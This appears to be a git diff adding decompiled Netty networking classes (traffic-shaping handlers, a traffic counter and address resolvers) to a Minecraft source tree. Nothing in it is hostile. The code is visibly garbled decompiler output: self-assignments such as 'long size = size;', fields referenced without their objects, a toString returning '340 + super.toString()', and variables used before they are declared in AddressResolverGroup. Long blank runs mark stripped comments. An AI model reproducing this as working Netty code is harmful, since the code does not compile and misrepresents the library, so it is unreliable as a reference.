+        wait = channelTrafficCounter.writeTimeToWait(size, writeChannelLimit, maxTime, now);
+        if (writeDeviationActive)
+        {
+
+          long maxLocalWrite = channelTrafficCounter.cumulativeWrittenBytes();
+          long maxGlobalWrite = cumulativeWrittenBytes.get();
+          if (maxLocalWrite <= 0L) {
+            maxLocalWrite = 0L;
+          }
+          if (maxGlobalWrite < maxLocalWrite) {
+            maxGlobalWrite = maxLocalWrite;
+          }
+          wait = computeBalancedWait((float)maxLocalWrite, (float)maxGlobalWrite, wait);
+        }
+      }
+      if (wait < waitGlobal) {
+        wait = waitGlobal;
+      }
+      if (wait >= 10L) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Write suspend: " + wait + ':' + ctx.channel().config().isAutoRead() + ':' + isHandlerActive(ctx));
+        }
+        
+        submitWrite(ctx, msg, size, wait, now, promise);
+        return;
+      }
+    }
+    
+    submitWrite(ctx, msg, size, 0L, now, promise);
+  }
+  
+
+
+  protected void submitWrite(final ChannelHandlerContext ctx, Object msg, long size, long writedelay, long now, ChannelPromise promise)
+  {
+    Channel channel = ctx.channel();
+    Integer key = Integer.valueOf(channel.hashCode());
+    PerChannel perChannel = (PerChannel)channelQueues.get(key);
+    if (perChannel == null)
+    {
+
+      perChannel = getOrSetPerChannel(ctx);
+    }
+    
+    long delay = writedelay;
+    boolean globalSizeExceeded = false;
+    
+    synchronized (perChannel) {
+      if ((writedelay == 0L) && (messagesQueue.isEmpty())) {
+        trafficCounter.bytesRealWriteFlowControl(size);
+        channelTrafficCounter.bytesRealWriteFlowControl(size);
+        ctx.write(msg, promise);
+        lastWriteTimestamp = now;
+        return;
+      }
+      if ((delay > maxTime) && (now + delay - lastWriteTimestamp > maxTime)) {
+        delay = maxTime;
+      }
+      ToSend newToSend = new ToSend(delay + now, msg, size, promise, null);
+      messagesQueue.addLast(newToSend);
+      queueSize += size;
+      queuesSize.addAndGet(size);
+      checkWriteSuspend(ctx, delay, queueSize);
+      if (queuesSize.get() > maxGlobalWriteSize)
+        globalSizeExceeded = true;
+    }
+    ToSend newToSend;
+    if (globalSizeExceeded) {
+      setUserDefinedWritability(ctx, false);
+    }
+    final long futureNow = relativeTimeAction;
+    final PerChannel forSchedule = perChannel;
+    ctx.executor().schedule(new Runnable()
+    {
+
+      public void run() { GlobalChannelTrafficShapingHandler.this.sendAllValid(ctx, forSchedule, futureNow); } }, delay, TimeUnit.MILLISECONDS);
+  }
+  
+
+
+  private void sendAllValid(ChannelHandlerContext ctx, PerChannel perChannel, long now)
+  {
+    synchronized (perChannel) {
+      for (ToSend newToSend = (ToSend)messagesQueue.pollFirst(); 
+          newToSend != null; newToSend = (ToSend)messagesQueue.pollFirst()) {
+        if (relativeTimeAction <= now) {
+          long size = size;
+          trafficCounter.bytesRealWriteFlowControl(size);
+          channelTrafficCounter.bytesRealWriteFlowControl(size);
+          queueSize -= size;
+          queuesSize.addAndGet(-size);
+          ctx.write(toSend, promise);
+          lastWriteTimestamp = now;
+        } else {
+          messagesQueue.addFirst(newToSend);
+          break;
+        }
+      }
+      if (messagesQueue.isEmpty()) {
+        releaseWriteSuspended(ctx);
+      }
+    }
+    ctx.flush();
+  }
+  
+  public String toString()
+  {
+    return 340 + super.toString() + " Write Channel Limit: " + writeChannelLimit + " Read Channel Limit: " + readChannelLimit;
+  }
+  
+  static final class PerChannel
+  {
+    ArrayDeque<GlobalChannelTrafficShapingHandler.ToSend> messagesQueue;
+    TrafficCounter channelTrafficCounter;
+    long queueSize;
+    long lastWriteTimestamp;
+    long lastReadTimestamp;
+    
+    PerChannel() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/traffic/GlobalTrafficShapingHandler.java b/src/minecraft/io/netty/handler/traffic/GlobalTrafficShapingHandler.java
new file mode 100644
index 0000000..80dd840
--- /dev/null
+++ b/src/minecraft/io/netty/handler/traffic/GlobalTrafficShapingHandler.java
@@ -0,0 +1,239 @@
+package io.netty.handler.traffic;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class GlobalTrafficShapingHandler
+  extends AbstractTrafficShapingHandler
+{
+  private Map<Integer, List<ToSend>> messagesQueues = new HashMap();
+  
+
+
+  void createGlobalTrafficCounter(ScheduledExecutorService executor)
+  {
+    if (executor == null) {
+      throw new NullPointerException("executor");
+    }
+    TrafficCounter tc = new TrafficCounter(this, executor, "GlobalTC", checkInterval);
+    
+    setTrafficCounter(tc);
+    tc.start();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GlobalTrafficShapingHandler(ScheduledExecutorService executor, long writeLimit, long readLimit, long checkInterval, long maxTime)
+  {
+    super(writeLimit, readLimit, checkInterval, maxTime);
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GlobalTrafficShapingHandler(ScheduledExecutorService executor, long writeLimit, long readLimit, long checkInterval)
+  {
+    super(writeLimit, readLimit, checkInterval);
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public GlobalTrafficShapingHandler(ScheduledExecutorService executor, long writeLimit, long readLimit)
+  {
+    super(writeLimit, readLimit);
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+
+
+
+
+
+
+  public GlobalTrafficShapingHandler(ScheduledExecutorService executor, long checkInterval)
+  {
+    super(checkInterval);
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+
+
+
+  public GlobalTrafficShapingHandler(EventExecutor executor)
+  {
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+  public final void release()
+  {
+    if (trafficCounter != null) {
+      trafficCounter.stop();
+    }
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    Integer key = Integer.valueOf(ctx.channel().hashCode());
+    List<ToSend> mq = new LinkedList();
+    messagesQueues.put(key, mq);
+  }
+  
+  public synchronized void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    Integer key = Integer.valueOf(ctx.channel().hashCode());
+    List<ToSend> mq = (List)messagesQueues.remove(key);
+    if (mq != null) {
+      for (ToSend toSend : mq) {
+        if ((toSend instanceof ByteBuf)) {
+          ((ByteBuf)toSend).release();
+        }
+      }
+      mq.clear();
+    }
+  }
+  
+  private static final class ToSend {
+    final long date;
+    final Object toSend;
+    final ChannelPromise promise;
+    
+    private ToSend(long delay, Object toSend, ChannelPromise promise) {
+      date = (System.currentTimeMillis() + delay);
+      this.toSend = toSend;
+      this.promise = promise;
+    }
+  }
+  
+
+  protected synchronized void submitWrite(final ChannelHandlerContext ctx, Object msg, long delay, ChannelPromise promise)
+  {
+    Integer key = Integer.valueOf(ctx.channel().hashCode());
+    List<ToSend> messagesQueue = (List)messagesQueues.get(key);
+    if ((delay == 0L) && ((messagesQueue == null) || (messagesQueue.isEmpty()))) {
+      ctx.write(msg, promise);
+      return;
+    }
+    ToSend newToSend = new ToSend(delay, msg, promise, null);
+    if (messagesQueue == null) {
+      messagesQueue = new LinkedList();
+      messagesQueues.put(key, messagesQueue);
+    }
+    messagesQueue.add(newToSend);
+    final List<ToSend> mqfinal = messagesQueue;
+    ctx.executor().schedule(new Runnable()
+    {
+
+      public void run() { GlobalTrafficShapingHandler.this.sendAllValid(ctx, mqfinal); } }, delay, TimeUnit.MILLISECONDS);
+  }
+  
+
+  private synchronized void sendAllValid(ChannelHandlerContext ctx, List<ToSend> messagesQueue)
+  {
+    while (!messagesQueue.isEmpty()) {
+      ToSend newToSend = (ToSend)messagesQueue.remove(0);
+      if (date <= System.currentTimeMillis()) {
+        ctx.write(toSend, promise);
+      } else {
+        messagesQueue.add(0, newToSend);
+        break;
+      }
+    }
+    ctx.flush();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/traffic/TrafficCounter.java b/src/minecraft/io/netty/handler/traffic/TrafficCounter.java
new file mode 100644
index 0000000..67de4f2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/traffic/TrafficCounter.java
@@ -0,0 +1,535 @@
+package io.netty.handler.traffic;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TrafficCounter
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(TrafficCounter.class);
+  
+
+
+
+  private final AtomicLong currentWrittenBytes = new AtomicLong();
+  
+
+
+
+  private final AtomicLong currentReadBytes = new AtomicLong();
+  
+
+
+
+  private final AtomicLong cumulativeWrittenBytes = new AtomicLong();
+  
+
+
+
+  private final AtomicLong cumulativeReadBytes = new AtomicLong();
+  
+
+
+
+  private long lastCumulativeTime;
+  
+
+
+
+  private long lastWriteThroughput;
+  
+
+
+
+  private long lastReadThroughput;
+  
+
+
+
+  private final AtomicLong lastTime = new AtomicLong();
+  
+
+
+
+  private long lastWrittenBytes;
+  
+
+
+
+  private long lastReadBytes;
+  
+
+
+
+  private long lastNonNullWrittenBytes;
+  
+
+
+
+  private long lastNonNullWrittenTime;
+  
+
+
+
+  private long lastNonNullReadTime;
+  
+
+
+
+  private long lastNonNullReadBytes;
+  
+
+
+
+  final AtomicLong checkInterval = new AtomicLong(1000L);
+  
+
+
+
+  final String name;
+  
+
+
+
+  private final AbstractTrafficShapingHandler trafficShapingHandler;
+  
+
+
+
+  private final ScheduledExecutorService executor;
+  
+
+
+
+  private Runnable monitor;
+  
+
+
+
+  private volatile ScheduledFuture<?> scheduledFuture;
+  
+
+
+
+  final AtomicBoolean monitorActive = new AtomicBoolean();
+  
+
+
+
+
+
+  private static class TrafficMonitoringTask
+    implements Runnable
+  {
+    private final AbstractTrafficShapingHandler trafficShapingHandler1;
+    
+
+
+
+
+    private final TrafficCounter counter;
+    
+
+
+
+
+    protected TrafficMonitoringTask(AbstractTrafficShapingHandler trafficShapingHandler, TrafficCounter counter)
+    {
+      trafficShapingHandler1 = trafficShapingHandler;
+      this.counter = counter;
+    }
+    
+    public void run()
+    {
+      if (!counter.monitorActive.get()) {
+        return;
+      }
+      long endTime = System.currentTimeMillis();
+      counter.resetAccounting(endTime);
+      if (trafficShapingHandler1 != null) {
+        trafficShapingHandler1.doAccounting(counter);
+      }
+      counter.scheduledFuture = counter.executor.schedule(this, counter.checkInterval.get(), TimeUnit.MILLISECONDS);
+    }
+  }
+  
+
+
+
+  public synchronized void start()
+  {
+    if (monitorActive.get()) {
+      return;
+    }
+    lastTime.set(System.currentTimeMillis());
+    if (checkInterval.get() > 0L) {
+      monitorActive.set(true);
+      monitor = new TrafficMonitoringTask(trafficShapingHandler, this);
+      scheduledFuture = executor.schedule(monitor, checkInterval.get(), TimeUnit.MILLISECONDS);
+    }
+  }
+  
+
+
+  public synchronized void stop()
+  {
+    if (!monitorActive.get()) {
+      return;
+    }
+    monitorActive.set(false);
+    resetAccounting(System.currentTimeMillis());
+    if (trafficShapingHandler != null) {
+      trafficShapingHandler.doAccounting(this);
+    }
+    if (scheduledFuture != null) {
+      scheduledFuture.cancel(true);
+    }
+  }
+  
+
+
+
+
+
+  synchronized void resetAccounting(long newLastTime)
+  {
+    long interval = newLastTime - lastTime.getAndSet(newLastTime);
+    if (interval == 0L)
+    {
+      return;
+    }
+    if ((logger.isDebugEnabled()) && (interval > 2L * checkInterval())) {
+      logger.debug("Acct schedule not ok: " + interval + " > 2*" + checkInterval() + " from " + name);
+    }
+    lastReadBytes = currentReadBytes.getAndSet(0L);
+    lastWrittenBytes = currentWrittenBytes.getAndSet(0L);
+    lastReadThroughput = (lastReadBytes / interval * 1000L);
+    
+    lastWriteThroughput = (lastWrittenBytes / interval * 1000L);
+    
+    if (lastWrittenBytes > 0L) {
+      lastNonNullWrittenBytes = lastWrittenBytes;
+      lastNonNullWrittenTime = newLastTime;
+    }
+    if (lastReadBytes > 0L) {
+      lastNonNullReadBytes = lastReadBytes;
+      lastNonNullReadTime = newLastTime;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TrafficCounter(AbstractTrafficShapingHandler trafficShapingHandler, ScheduledExecutorService executor, String name, long checkInterval)
+  {
+    this.trafficShapingHandler = trafficShapingHandler;
+    this.executor = executor;
+    this.name = name;
+    lastCumulativeTime = System.currentTimeMillis();
+    configure(checkInterval);
+  }
+  
+
+
+
+
+
+  public void configure(long newcheckInterval)
+  {
+    long newInterval = newcheckInterval / 10L * 10L;
+    if (checkInterval.get() != newInterval) {
+      checkInterval.set(newInterval);
+      if (newInterval <= 0L) {
+        stop();
+        
+        lastTime.set(System.currentTimeMillis());
+      }
+      else {
+        start();
+      }
+    }
+  }
+  
+
+
+
+
+
+  void bytesRecvFlowControl(long recv)
+  {
+    currentReadBytes.addAndGet(recv);
+    cumulativeReadBytes.addAndGet(recv);
+  }
+  
+
+
+
+
+
+  void bytesWriteFlowControl(long write)
+  {
+    currentWrittenBytes.addAndGet(write);
+    cumulativeWrittenBytes.addAndGet(write);
+  }
+  
+
+
+
+
+  public long checkInterval()
+  {
+    return checkInterval.get();
+  }
+  
+
+
+
+  public long lastReadThroughput()
+  {
+    return lastReadThroughput;
+  }
+  
+
+
+
+  public long lastWriteThroughput()
+  {
+    return lastWriteThroughput;
+  }
+  
+
+
+
+  public long lastReadBytes()
+  {
+    return lastReadBytes;
+  }
+  
+
+
+
+  public long lastWrittenBytes()
+  {
+    return lastWrittenBytes;
+  }
+  
+
+
+
+  public long currentReadBytes()
+  {
+    return currentReadBytes.get();
+  }
+  
+
+
+
+  public long currentWrittenBytes()
+  {
+    return currentWrittenBytes.get();
+  }
+  
+
+
+  public long lastTime()
+  {
+    return lastTime.get();
+  }
+  
+
+
+  public long cumulativeWrittenBytes()
+  {
+    return cumulativeWrittenBytes.get();
+  }
+  
+
+
+  public long cumulativeReadBytes()
+  {
+    return cumulativeReadBytes.get();
+  }
+  
+
+
+
+  public long lastCumulativeTime()
+  {
+    return lastCumulativeTime;
+  }
+  
+
+
+  public void resetCumulativeTime()
+  {
+    lastCumulativeTime = System.currentTimeMillis();
+    cumulativeReadBytes.set(0L);
+    cumulativeWrittenBytes.set(0L);
+  }
+  
+
+
+  public String name()
+  {
+    return name;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public synchronized long readTimeToWait(long size, long limitTraffic, long maxTime)
+  {
+    long now = System.currentTimeMillis();
+    bytesRecvFlowControl(size);
+    if (limitTraffic == 0L) {
+      return 0L;
+    }
+    long sum = currentReadBytes.get();
+    long interval = now - lastTime.get();
+    
+    if ((interval > 10L) && (sum > 0L)) {
+      long time = (sum * 1000L / limitTraffic - interval) / 10L * 10L;
+      if (time > 10L) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Time: " + time + ":" + sum + ":" + interval);
+        }
+        return time > maxTime ? maxTime : time;
+      }
+      return 0L;
+    }
+    
+    if ((lastNonNullReadBytes > 0L) && (lastNonNullReadTime + 10L < now)) {
+      long lastsum = sum + lastNonNullReadBytes;
+      long lastinterval = now - lastNonNullReadTime;
+      long time = (lastsum * 1000L / limitTraffic - lastinterval) / 10L * 10L;
+      if (time > 10L) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Time: " + time + ":" + lastsum + ":" + lastinterval);
+        }
+        return time > maxTime ? maxTime : time;
+      }
+    }
+    else {
+      sum += lastReadBytes;
+      long lastinterval = 10L;
+      long time = (sum * 1000L / limitTraffic - lastinterval) / 10L * 10L;
+      if (time > 10L) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Time: " + time + ":" + sum + ":" + lastinterval);
+        }
+        return time > maxTime ? maxTime : time;
+      }
+    }
+    return 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public synchronized long writeTimeToWait(long size, long limitTraffic, long maxTime)
+  {
+    bytesWriteFlowControl(size);
+    if (limitTraffic == 0L) {
+      return 0L;
+    }
+    long sum = currentWrittenBytes.get();
+    long now = System.currentTimeMillis();
+    long interval = now - lastTime.get();
+    if ((interval > 10L) && (sum > 0L)) {
+      long time = (sum * 1000L / limitTraffic - interval) / 10L * 10L;
+      if (time > 10L) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Time: " + time + ":" + sum + ":" + interval);
+        }
+        return time > maxTime ? maxTime : time;
+      }
+      return 0L;
+    }
+    if ((lastNonNullWrittenBytes > 0L) && (lastNonNullWrittenTime + 10L < now)) {
+      long lastsum = sum + lastNonNullWrittenBytes;
+      long lastinterval = now - lastNonNullWrittenTime;
+      long time = (lastsum * 1000L / limitTraffic - lastinterval) / 10L * 10L;
+      if (time > 10L) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Time: " + time + ":" + lastsum + ":" + lastinterval);
+        }
+        return time > maxTime ? maxTime : time;
+      }
+    } else {
+      sum += lastWrittenBytes;
+      long lastinterval = 10L + Math.abs(interval);
+      long time = (sum * 1000L / limitTraffic - lastinterval) / 10L * 10L;
+      if (time > 10L) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Time: " + time + ":" + sum + ":" + lastinterval);
+        }
+        return time > maxTime ? maxTime : time;
+      }
+    }
+    return 0L;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return "Monitor " + name + " Current Speed Read: " + (lastReadThroughput >> 10) + " KB/s, Write: " + (lastWriteThroughput >> 10) + " KB/s Current Read: " + (currentReadBytes.get() >> 10) + " KB Current Write: " + (currentWrittenBytes.get() >> 10) + " KB";
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/AbstractAddressResolver.java b/src/minecraft/io/netty/resolver/AbstractAddressResolver.java
new file mode 100644
index 0000000..96043a9
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/AbstractAddressResolver.java
@@ -0,0 +1,199 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.TypeParameterMatcher;
+import java.net.SocketAddress;
+import java.nio.channels.UnsupportedAddressTypeException;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractAddressResolver<T extends SocketAddress>
+  implements AddressResolver<T>
+{
+  private final EventExecutor executor;
+  private final TypeParameterMatcher matcher;
+  
+  protected AbstractAddressResolver(EventExecutor executor)
+  {
+    this.executor = ((EventExecutor)ObjectUtil.checkNotNull(executor, "executor"));
+    matcher = TypeParameterMatcher.find(this, AbstractAddressResolver.class, "T");
+  }
+  
+
+
+
+
+  protected AbstractAddressResolver(EventExecutor executor, Class<? extends T> addressType)
+  {
+    this.executor = ((EventExecutor)ObjectUtil.checkNotNull(executor, "executor"));
+    matcher = TypeParameterMatcher.get(addressType);
+  }
+  
+
+
+
+  protected EventExecutor executor()
+  {
+    return executor;
+  }
+  
+  public boolean isSupported(SocketAddress address)
+  {
+    return matcher.match(address);
+  }
+  
+  public final boolean isResolved(SocketAddress address)
+  {
+    if (!isSupported(address)) {
+      throw new UnsupportedAddressTypeException();
+    }
+    
+
+    T castAddress = address;
+    return doIsResolved(castAddress);
+  }
+  
+
+
+  protected abstract boolean doIsResolved(T paramT);
+  
+
+
+  public final Future<T> resolve(SocketAddress address)
+  {
+    if (!isSupported((SocketAddress)ObjectUtil.checkNotNull(address, "address")))
+    {
+      return executor().newFailedFuture(new UnsupportedAddressTypeException());
+    }
+    
+    if (isResolved(address))
+    {
+
+      T cast = address;
+      return executor.newSucceededFuture(cast);
+    }
+    
+    try
+    {
+      T cast = address;
+      Promise<T> promise = executor().newPromise();
+      doResolve(cast, promise);
+      return promise;
+    } catch (Exception e) {
+      return executor().newFailedFuture(e);
+    }
+  }
+  
+  public final Future<T> resolve(SocketAddress address, Promise<T> promise)
+  {
+    ObjectUtil.checkNotNull(address, "address");
+    ObjectUtil.checkNotNull(promise, "promise");
+    
+    if (!isSupported(address))
+    {
+      return promise.setFailure(new UnsupportedAddressTypeException());
+    }
+    
+    if (isResolved(address))
+    {
+
+      T cast = address;
+      return promise.setSuccess(cast);
+    }
+    
+    try
+    {
+      T cast = address;
+      doResolve(cast, promise);
+      return promise;
+    } catch (Exception e) {
+      return promise.setFailure(e);
+    }
+  }
+  
+  public final Future<List<T>> resolveAll(SocketAddress address)
+  {
+    if (!isSupported((SocketAddress)ObjectUtil.checkNotNull(address, "address")))
+    {
+      return executor().newFailedFuture(new UnsupportedAddressTypeException());
+    }
+    
+    if (isResolved(address))
+    {
+
+      T cast = address;
+      return executor.newSucceededFuture(Collections.singletonList(cast));
+    }
+    
+    try
+    {
+      T cast = address;
+      Promise<List<T>> promise = executor().newPromise();
+      doResolveAll(cast, promise);
+      return promise;
+    } catch (Exception e) {
+      return executor().newFailedFuture(e);
+    }
+  }
+  
+  public final Future<List<T>> resolveAll(SocketAddress address, Promise<List<T>> promise)
+  {
+    ObjectUtil.checkNotNull(address, "address");
+    ObjectUtil.checkNotNull(promise, "promise");
+    
+    if (!isSupported(address))
+    {
+      return promise.setFailure(new UnsupportedAddressTypeException());
+    }
+    
+    if (isResolved(address))
+    {
+
+      T cast = address;
+      return promise.setSuccess(Collections.singletonList(cast));
+    }
+    
+    try
+    {
+      T cast = address;
+      doResolveAll(cast, promise);
+      return promise;
+    } catch (Exception e) {
+      return promise.setFailure(e);
+    }
+  }
+  
+  protected abstract void doResolve(T paramT, Promise<T> paramPromise)
+    throws Exception;
+  
+  protected abstract void doResolveAll(T paramT, Promise<List<T>> paramPromise)
+    throws Exception;
+  
+  public void close() {}
+}
diff --git a/src/minecraft/io/netty/resolver/AddressResolver.java b/src/minecraft/io/netty/resolver/AddressResolver.java
new file mode 100644
index 0000000..290a01e
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/AddressResolver.java
@@ -0,0 +1,25 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+import java.io.Closeable;
+import java.net.SocketAddress;
+import java.util.List;
+
+public abstract interface AddressResolver<T extends SocketAddress>
+  extends Closeable
+{
+  public abstract boolean isSupported(SocketAddress paramSocketAddress);
+  
+  public abstract boolean isResolved(SocketAddress paramSocketAddress);
+  
+  public abstract Future<T> resolve(SocketAddress paramSocketAddress);
+  
+  public abstract Future<T> resolve(SocketAddress paramSocketAddress, Promise<T> paramPromise);
+  
+  public abstract Future<List<T>> resolveAll(SocketAddress paramSocketAddress);
+  
+  public abstract Future<List<T>> resolveAll(SocketAddress paramSocketAddress, Promise<List<T>> paramPromise);
+  
+  public abstract void close();
+}
diff --git a/src/minecraft/io/netty/resolver/AddressResolverGroup.java b/src/minecraft/io/netty/resolver/AddressResolverGroup.java
new file mode 100644
index 0000000..5b6937b
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/AddressResolverGroup.java
@@ -0,0 +1,115 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.Closeable;
+import java.net.SocketAddress;
+import java.util.Collection;
+import java.util.IdentityHashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AddressResolverGroup<T extends SocketAddress>
+  implements Closeable
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(AddressResolverGroup.class);
+  
+
+
+
+  private final Map<EventExecutor, AddressResolver<T>> resolvers = new IdentityHashMap();
+  
+
+
+
+  protected AddressResolverGroup() {}
+  
+
+
+
+  public AddressResolver<T> getResolver(final EventExecutor executor)
+  {
+    if (executor == null) {
+      throw new NullPointerException("executor");
+    }
+    
+    if (executor.isShuttingDown()) {
+      throw new IllegalStateException("executor not accepting a task");
+    }
+    
+
+    synchronized (resolvers) {
+      AddressResolver<T> r = (AddressResolver)resolvers.get(executor);
+      if (r == null)
+      {
+        try {
+          newResolver = newResolver(executor);
+        } catch (Exception e) { AddressResolver<T> newResolver;
+          throw new IllegalStateException("failed to create a new resolver", e);
+        }
+        final AddressResolver<T> newResolver;
+        resolvers.put(executor, newResolver);
+        executor.terminationFuture().addListener(new FutureListener()
+        {
+          public void operationComplete(Future<Object> future) throws Exception {
+            synchronized (resolvers) {
+              resolvers.remove(executor);
+            }
+            newResolver.close();
+          }
+          
+        });
+        r = newResolver;
+      }
+    }
+    AddressResolver<T> r;
+    return r;
+  }
+  
+
+
+
+
+  protected abstract AddressResolver<T> newResolver(EventExecutor paramEventExecutor)
+    throws Exception;
+  
+
+
+
+  public void close()
+  {
+    synchronized (resolvers) {
+      AddressResolver<T>[] rArray = (AddressResolver[])resolvers.values().toArray(new AddressResolver[resolvers.size()]);
+      resolvers.clear();
+    }
+    AddressResolver<T>[] rArray;
+    for (AddressResolver<T> r : rArray) {
+      try {
+        r.close();
+      } catch (Throwable t) {
+        logger.warn("Failed to close a resolver:", t);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/CompositeNameResolver.java b/src/minecraft/io/netty/resolver/CompositeNameResolver.java
new file mode 100644
index 0000000..b78000b
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/CompositeNameResolver.java
@@ -0,0 +1,108 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.ObjectUtil;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CompositeNameResolver<T>
+  extends SimpleNameResolver<T>
+{
+  private final NameResolver<T>[] resolvers;
+  
+  public CompositeNameResolver(EventExecutor executor, NameResolver<T>... resolvers)
+  {
+    super(executor);
+    ObjectUtil.checkNotNull(resolvers, "resolvers");
+    for (int i = 0; i < resolvers.length; i++) {
+      if (resolvers[i] == null) {
+        throw new NullPointerException("resolvers[" + i + ']');
+      }
+    }
+    if (resolvers.length < 2) {
+      throw new IllegalArgumentException("resolvers: " + Arrays.asList(resolvers) + " (expected: at least 2 resolvers)");
+    }
+    
+    this.resolvers = ((NameResolver[])resolvers.clone());
+  }
+  
+  protected void doResolve(String inetHost, Promise<T> promise) throws Exception
+  {
+    doResolveRec(inetHost, promise, 0, null);
+  }
+  
+
+  private void doResolveRec(final String inetHost, final Promise<T> promise, final int resolverIndex, Throwable lastFailure)
+    throws Exception
+  {
+    if (resolverIndex >= resolvers.length) {
+      promise.setFailure(lastFailure);
+    } else {
+      NameResolver resolver = resolvers[resolverIndex];
+      resolver.resolve(inetHost).addListener(new FutureListener()
+      {
+        public void operationComplete(Future<T> future) throws Exception {
+          if (future.isSuccess()) {
+            promise.setSuccess(future.getNow());
+          } else {
+            CompositeNameResolver.this.doResolveRec(inetHost, promise, resolverIndex + 1, future.cause());
+          }
+        }
+      });
+    }
+  }
+  
+  protected void doResolveAll(String inetHost, Promise<List<T>> promise) throws Exception
+  {
+    doResolveAllRec(inetHost, promise, 0, null);
+  }
+  
+
+  private void doResolveAllRec(final String inetHost, final Promise<List<T>> promise, final int resolverIndex, Throwable lastFailure)
+    throws Exception
+  {
+    if (resolverIndex >= resolvers.length) {
+      promise.setFailure(lastFailure);
+    } else {
+      NameResolver resolver = resolvers[resolverIndex];
+      resolver.resolveAll(inetHost).addListener(new FutureListener()
+      {
+        public void operationComplete(Future<List<T>> future) throws Exception {
+          if (future.isSuccess()) {
+            promise.setSuccess(future.getNow());
+          } else {
+            CompositeNameResolver.this.doResolveAllRec(inetHost, promise, resolverIndex + 1, future.cause());
+          }
+        }
+      });
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/DefaultAddressResolverGroup.java b/src/minecraft/io/netty/resolver/DefaultAddressResolverGroup.java
new file mode 100644
index 0000000..b66e52d
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/DefaultAddressResolverGroup.java
@@ -0,0 +1,36 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultAddressResolverGroup
+  extends AddressResolverGroup<InetSocketAddress>
+{
+  public static final DefaultAddressResolverGroup INSTANCE = new DefaultAddressResolverGroup();
+  
+  private DefaultAddressResolverGroup() {}
+  
+  protected AddressResolver<InetSocketAddress> newResolver(EventExecutor executor) throws Exception
+  {
+    return new DefaultNameResolver(executor).asAddressResolver();
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/DefaultHostsFileEntriesResolver.java b/src/minecraft/io/netty/resolver/DefaultHostsFileEntriesResolver.java
new file mode 100644
index 0000000..1b6025b
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/DefaultHostsFileEntriesResolver.java
@@ -0,0 +1,32 @@
+package io.netty.resolver;
+
+import java.net.InetAddress;
+import java.util.Locale;
+import java.util.Map;
+
+
+
